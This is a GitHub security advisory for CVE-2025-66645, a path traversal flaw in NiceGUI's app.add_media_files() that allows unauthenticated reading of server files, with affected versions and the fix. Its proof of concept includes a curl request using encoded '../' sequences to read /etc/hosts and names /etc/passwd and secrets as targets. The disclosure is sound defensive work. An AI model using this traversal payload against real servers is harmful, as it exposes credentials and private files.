GHSA-HXP3-63HC-5366
Vulnerability from github – Published: 2025-12-09 14:25 – Updated: 2025-12-09 14:25Summary
A directory traversal vulnerability in NiceGUI's App.add_media_files() allows a remote attacker to read arbitrary files on the server filesystem.
Details
Hello, I am Seungbin Yang, a university student studying cybersecurity. While reviewing the source code of the repository, I discovered a potential vulnerability and successfully verified it with a PoC.
The App.add_media_files(url_path, local_directory) method allows users to serve media files. However, the implementation lacks proper path validation.
def add_media_files(self, url_path: str, local_directory: Union[str, Path]) -> None:
@self.get(url_path.rstrip('/') + '/{filename:path}')
def read_item(request: Request, filename: str, nicegui_chunk_size: int = 8192) -> Response:
filepath = Path(local_directory) / filename
if not filepath.is_file():
raise HTTPException(status_code=404, detail='Not Found')
return get_range_response(filepath, request, chunk_size=nicegui_chunk_size)
Root Cause:
1. The {filename:path} parameter accepts full paths, including traversal sequences like ../.
2. The code simply joins local_directory and filename without checking if the result is still inside the local_directory.
3. There is no path sanitization or boundary check.
Consequence:
An attacker can use .. to access files outside the intended directory. If the application has permission, sensitive files (e.g., /etc/hosts, source code, config files) can be exposed.
POC
- Create
poc.py:
# poc.py
from pathlib import Path
from nicegui import app, ui
MEDIA_DIR = Path(__file__).parent / 'media'
MEDIA_DIR.mkdir(exist_ok=True)
# Expose local "media" directory at /media
app.add_media_files('/media', MEDIA_DIR)
@ui.page('/')
def index():
ui.label('NiceGUI media PoC')
ui.run(port=8080, reload=False)
-
Run the application:
python3 poc.py -
Exploit with curl: Use URL-encoded dots (
%2e) to bypass client-side checks.curl -v "http://localhost:8080/media/%2e%2e/%2e%2e/%2e%2e/etc/hosts"
Result:
The HTTP status is 200 OK, and the response body contains the contents of the server’s /etc/hosts file.
I have attached a screenshot of the successful exploitation below. As shown in the image, the content of /etc/hosts displayed via cat matches the output received from the curl request perfectly.
Impact
Any NiceGUI application that calls app.add_media_files() on a URL path reachable by an attacker is affected. An unauthenticated remote attacker can read sensitive files outside the intended media directory, potentially exposing:
•Application source code and configuration files •Credentials, API keys, and secrets •Operating system configuration files (e.g., /etc/passwd, /etc/hosts)
This is my first github vulnerability report, so I would appreciate your understanding regarding any potential shortcomings. If you require any further information or clarification, please feel free to contact me at y4rvin@naver.com.
Thank you.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "nicegui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-66645"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-09T14:25:15Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nA directory traversal vulnerability in NiceGUI\u0027s `App.add_media_files()` allows a remote attacker to read arbitrary files on the server filesystem.\n\n### Details\n\nHello, I am Seungbin Yang, a university student studying cybersecurity. \nWhile reviewing the source code of the repository, I discovered a potential vulnerability and successfully verified it with a PoC.\n\nThe `App.add_media_files(url_path, local_directory)` method allows users to serve media files. However, the implementation lacks proper path validation.\n\n```python\ndef add_media_files(self, url_path: str, local_directory: Union[str, Path]) -\u003e None:\n @self.get(url_path.rstrip(\u0027/\u0027) + \u0027/{filename:path}\u0027)\n def read_item(request: Request, filename: str, nicegui_chunk_size: int = 8192) -\u003e Response:\n filepath = Path(local_directory) / filename\n if not filepath.is_file():\n raise HTTPException(status_code=404, detail=\u0027Not Found\u0027)\n return get_range_response(filepath, request, chunk_size=nicegui_chunk_size)\n```\nRoot Cause:\n1. The `{filename:path}` parameter accepts full paths, including traversal sequences like `../`.\n2. The code simply joins local_directory and filename without checking if the result is still inside the local_directory.\n3. There is no path sanitization or boundary check.\n\nConsequence:\nAn attacker can use `..` to access files outside the intended directory. If the application has permission, sensitive files (e.g., /etc/hosts, source code, config files) can be exposed.\n\n### POC\n1. Create `poc.py`:\n```python\n# poc.py\nfrom pathlib import Path\nfrom nicegui import app, ui\n\nMEDIA_DIR = Path(__file__).parent / \u0027media\u0027\nMEDIA_DIR.mkdir(exist_ok=True)\n\n# Expose local \"media\" directory at /media\napp.add_media_files(\u0027/media\u0027, MEDIA_DIR)\n\n@ui.page(\u0027/\u0027)\ndef index():\n ui.label(\u0027NiceGUI media PoC\u0027)\n\nui.run(port=8080, reload=False)\n```\n\n2. Run the application: `python3 poc.py`\n\n3. Exploit with curl: Use URL-encoded dots (`%2e`) to bypass client-side checks.\n```curl -v \"http://localhost:8080/media/%2e%2e/%2e%2e/%2e%2e/etc/hosts\"```\n\n\n### Result:\nThe HTTP status is 200 OK, and the response body contains the contents of the server\u2019s /etc/hosts file.\n\nI have attached a screenshot of the successful exploitation below. As shown in the image, the content of /etc/hosts displayed via cat matches the output received from the curl request perfectly.\n\n\u003cimg width=\"1728\" height=\"1078\" alt=\"POC screenshot\" src=\"https://github.com/user-attachments/assets/6c1be75b-6be2-4372-90df-55042c1e4775\" /\u003e\n\n### Impact\n\nAny NiceGUI application that calls app.add_media_files() on a URL path reachable by an attacker is affected. An unauthenticated remote attacker can read sensitive files outside the intended media directory, potentially exposing:\n\n\u2022Application source code and configuration files\n\u2022Credentials, API keys, and secrets\n\u2022Operating system configuration files (e.g., /etc/passwd, /etc/hosts)\n\nThis is my first github vulnerability report, so I would appreciate your understanding regarding any potential shortcomings. If you require any further information or clarification, please feel free to contact me at y4rvin@naver.com.\n\nThank you.",
"id": "GHSA-hxp3-63hc-5366",
"modified": "2025-12-09T14:25:16Z",
"published": "2025-12-09T14:25:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/zauberzeug/nicegui/security/advisories/GHSA-hxp3-63hc-5366"
},
{
"type": "WEB",
"url": "https://github.com/zauberzeug/nicegui/commit/a1b89e2a24e1911a40389ace2153a37f4eea92a9"
},
{
"type": "PACKAGE",
"url": "https://github.com/zauberzeug/nicegui"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "NiceGUI has a path traversal in app.add_media_files() allows arbitrary file read"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.